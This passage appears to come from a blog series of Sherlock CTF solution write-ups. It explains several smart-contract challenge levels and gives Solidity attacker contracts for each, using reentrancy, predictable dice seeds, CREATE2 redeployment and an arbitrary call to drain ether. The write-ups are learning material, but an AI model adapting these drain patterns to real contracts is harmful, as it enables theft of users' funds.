 5contract sidduHEREAttacker {
 6    
 7    function attack(ExampleQuizExploit instance) public payable {
 8        require(msg.value >= 1 ether);
 9        instance.deposit{value: 1 ether}();
10        instance.withdraw();
11    }
12
13    receive() external payable { 
14        if(msg.sender.balance > 0) {
15            ExampleQuizExploit(msg.sender).withdraw();
16        }
17    }
18}

smbsp - CollectReward

As stated on the first comment of the contract, the goal is to find the correct _startTime to get a reward. That means, to solve the level.

To solve this level, I had to go and check Etherscan for the programStartTime and deploymentBlock variables. Once the values were known, using Remix I printed out the correct value for the reward in _computeReward(uint256,uint256) to be greater than zero.

 1pragma solidity 0.8.4;
 2
 3import "./Setup.sol";
 4
 5contract smbspAttacker {
 6    
 7    constructor(CollectReward instance) payable {
 8        require(msg.value == 1 ether);
 9        instance.collect{value: 1 ether}(1645230775);
10    }
11
12    receive() external payable { 
13    }
14}

t-nero - Monopoly

This Monopoly implementation, much like the original game, makes the player throw two dice, and depending on the value obtained, different results can be achieved. The most important difference between the board game and this blockchain implementation, is that the dice here have 65536 sides. In real life, we would call that a sphere. And also, the values from the dice are inputs to the game.

The goal was to empty the instance, so the attacker has to find the correct path of execution, depending on the dice values, that allows the withdrawal. I chose to go for the so-called penalty slot, and return the msg.value/2 sent, so that the endTurn(balance) call in play(uint32, uint32) wouldn't revert.

 1pragma solidity 0.8.7;
 2
 3import "./Setup.sol";
 4
 5contract tneroAttacker {
 6
 7    Monopoly instance;
 8
 9    function getSeeds() public view returns (uint16 s1, uint16 s2) {
10        s1 = uint16(151) ^ uint16(bytes2(bytes20(address(tx.origin))));
11        s2 = uint16(331) ^ uint16(bytes2(bytes20(address(tx.origin))));
12    }
13
14     function attack(Monopoly inst) public payable {
15        require(msg.value >= 0.25 ether);
16        instance = inst;
17        (uint16 s1, uint16 s2) = getSeeds();
18        instance.play{value: msg.value}(s1, s2);
19    }
20
21    receive() external payable {
22        if(msg.value < 1 ether) {
23            payable(address(instance)).call{value: msg.value}("");
24        }
25    }
26}

teryanarmen - Challenge2

One of the challenges that fried my brain the most. Also, on the educational side, I learned stuff about CREATE2 that I didn't know.

The goal was to call fourth() to empty the contract. That was easier to say than to do. third() required not to be called from a contract (or to be called from a contract constructor) to set winner as the caller, then second() required to be called from a contract. If the caller's sup() method returned 1337, the attacker can call first(). This function requires to be called from an EOA or from a contract's constructor. Also, to make it more interesting, msg.sender has to be the winner set in third().

This made me think for a few days until it clicked. CREATE2 deployment address depends only on the code to be deployed, the caller address, and a seed value. That means you can deploy a contract, destroy it, and redeploy it back to the same address. Understanding that was a major milestone. Then the solution came easy.

 1pragma solidity 0.7.6;
 2
 3import "./Setup.sol";
 4import "hardhat/console.sol";
 5
 6contract solver is ICalled{
 7
 8    Challenge2 instance;
 9
10    constructor(address inst) payable {
11        instance = Challenge2(inst);
12        if(instance.state() == Challenge2.State.THREE) {
13            instance.third();
14        } else {
15            instance.first();
16        }  
17    }
18
19    function sup() external override returns(uint256) {
20        if(instance.state() == Challenge2.State.ZERO) {
21            return 80085;
22        } else {
23            return 1337;
24        }
25    }
26
27    function callSecond() public {
28        instance.second();
29        selfdestruct(payable(address(0)));
30    }
31
32    function callFourth() public {
33        instance.fourth();
34    }
35
36    receive() external payable { }
37
38}
39
40contract teryanarmenAttacker {
41
42    Challenge2 public instance;
43    address public deployed;
44    
45    constructor(Challenge2 inst) payable {
46        instance = inst;
47        deploy();
48        solver(payable(deployed)).callSecond();
49    }
50
51    function solve() public {
52        deploy();
53        solver(payable(deployed)).callFourth();
54    }
55
56    function deploy() internal {
57         
58        bytes memory code = abi.encodePacked(type(solver).creationCode, abi.encode(address(instance)));
59        uint256 salt = 0x7075;
60        address addr;
61    
62        assembly {
63            addr := create2(0, add(code, 0x20), mload(code), salt)
64            if iszero(extcodesize(addr)) { revert(0, 0) }
65        }
66
67        deployed = addr;
68    }
69
70    receive() external payable { }
71
72}

ych18 - FunnyChallenges

The goal was, again, to empty the ether from the instance. For that, the attacker has to solve two challenges. The first one requires that the arguments to DontGiveUp(string,string) meet some conditions and ultimately their concatenation equals "Sherlock CTF " (note that space at the end).

Once the first part was solved, the next part required to call the transfer(address,uint) function from the instance's address. The helper func(address,uint256,bytes4) function came in handy.

 1pragma solidity 0.8.4;
 2
 3import "./FunnyChallenges.sol";
 4
 5contract ych18Attacker {
 6
 7    FunnyChallenges instance;
 8    
 9    constructor(FunnyChallenges inst) payable {
10        instance = inst;
11        instance.DontGiveUp("SherlockCTF", " ");
12    }
13
14    function attack() public payable {
15        require(msg.value == 2 ether);
16        instance.func{value: msg.value}(address(instance), 0, hex"a9059cbb");
17    }
18
19    receive() external payable { }
20}

Posts in this Series

comments powered by Disqus